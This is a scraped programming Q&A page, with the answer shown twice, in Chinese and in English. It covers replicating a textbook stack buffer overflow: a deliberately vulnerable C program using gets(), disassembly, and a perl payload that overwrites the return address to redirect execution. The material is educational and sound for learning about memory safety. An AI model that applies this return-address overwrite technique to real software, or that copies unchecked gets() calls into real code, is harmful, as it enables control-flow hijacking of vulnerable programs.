且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

无法复制堆栈缓冲区溢出漏洞

更新时间:2023-11-08 08:45:40

我正在使用Windows& MSVC,但您应该了解一下.

考虑以下代码:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(注意:我必须使用/OPT:NOREF进行编译,以强制MSVC不要删除未使用的"代码,并强制/GS-关闭堆栈检查)

现在,让我们在我最喜欢的反汇编程序中打开它:

我们想利用gets漏洞,因此执行跳转到someFunc.我们可以看到它的地址是001D1000,因此,如果我们可以在缓冲区后写入足够的字节以覆盖返回地址,那将会很好.让我们看一下调用gets时的堆栈:

如我们所见,

有8个字节的堆栈分配缓冲区(buf),4个字节的东西(实际上是PUSH ed EBP)和返回地址.因此,我们需要写入12个字节的内容,然后写入4个字节的返回地址(001D1000),以劫持"执行流程.让我们开始吧-我们将使用十六进制编辑器准备一个包含所需字节的输入文件:

确实,当我们使用该输入运行程序时,得到以下信息:

在打印该行之后,由于堆栈上有一些垃圾,它将由于访问冲突而崩溃.但是,没有什么可以阻止您仔细分析代码并准备输入内容中的字节,以使程序看起来可以正常运行(我们可以用地址ExitProcess覆盖下一个字节,因此someFunc会跳到那里).

I am having trouble replicating the stack buffer overflow example given by OWASP here.

Here is my attempt:

$ cat test.c
  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }



$ gcc test.c -o test -fno-stack-protection -ggdb

$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
  40054c:       55                      push   %rbp
  40054d:       48 89 e5                mov    %rsp,%rbp
  400550:       48 83 ec 10             sub    $0x10,%rsp
  400554:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400558:       48 89 c7                mov    %rax,%rdi
  40055b:       e8 d0 fe ff ff          callq  400430 <gets@plt>
  400560:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400564:       48 89 c7                mov    %rax,%rdi
  400567:       e8 a4 fe ff ff          callq  400410 <puts@plt>
  40056c:       c9                      leaveq
  40056d:       c3                      retq

000000000040056e <main>:
  40056e:       55                      push   %rbp
  40056f:       48 89 e5                mov    %rsp,%rbp
  400572:       bf 4c 06 40 00          mov    $0x40064c,%edi
  400577:       e8 94 fe ff ff          callq  400410 <puts@plt>
  40057c:       e8 cb ff ff ff          callq  40054c <doit>
  400581:       bf 5d 06 40 00          mov    $0x40065d,%edi
  400586:       e8 85 fe ff ff          callq  400410 <puts@plt>
  40058b:       b8 00 00 00 00          mov    $0x0,%eax
  400590:       5d                      pop    %rbp
  400591:       c3                      retq # this is where i took my overflow value from
  400592:       90                      nop
  400593:       90                      nop
  400594:       90                      nop
  400595:       90                      nop
  400596:       90                      nop
  400597:       90                      nop
  400598:       90                      nop
  400599:       90                      nop
  40059a:       90                      nop
  40059b:       90                      nop
  40059c:       90                      nop
  40059d:       90                      nop
  40059e:       90                      nop
  40059f:       90                      nop

$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted

Why isn't this working? I'm assuming that the memory address that I am supposed to insert is the retq from <main>.

My goal is to figure out how to do a stack buffer overflow that calls a function elsewhere in the program. Any help is much appreciated. :)

I'm using Windows & MSVC but you should get the idea.

Consider the following code:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(Note: I had to compile it with /OPT:NOREF to force MSVC not to remove "unused" code and /GS- to turn off stack checks)

Now, let's open it in my favorite disassembler:

We'd like to exploit the gets vulnerability so the execution jumps to someFunc. We can see that its address is 001D1000, so if we can write enough bytes past the buffer to overwrite the return address, we'll be good. Let's take a look at the stack when gets is called:

As we can see, there's 8 bytes of our stack allocated buffer (buf), 4 bytes of some stuff (actually the PUSHed EBP), and the return address. Thus, we need to write 12 bytes of whatever and then our 4 byte return address (001D1000) to "hijack" the execution flow. Let's do just that - we'll prepare an input file with the bytes we need using a hex editor:

And indeed, when we run the program with that input, we get this:

After it prints that line, it will crash with an access violation since there was some garbage on the stack. However, there's nothing stopping you from carefully analyzing the code and preparing such bytes in your input that the program will appear to function as normal (we could overwrite the next bytes with the address of ExitProcess, so that someFunc would jump there).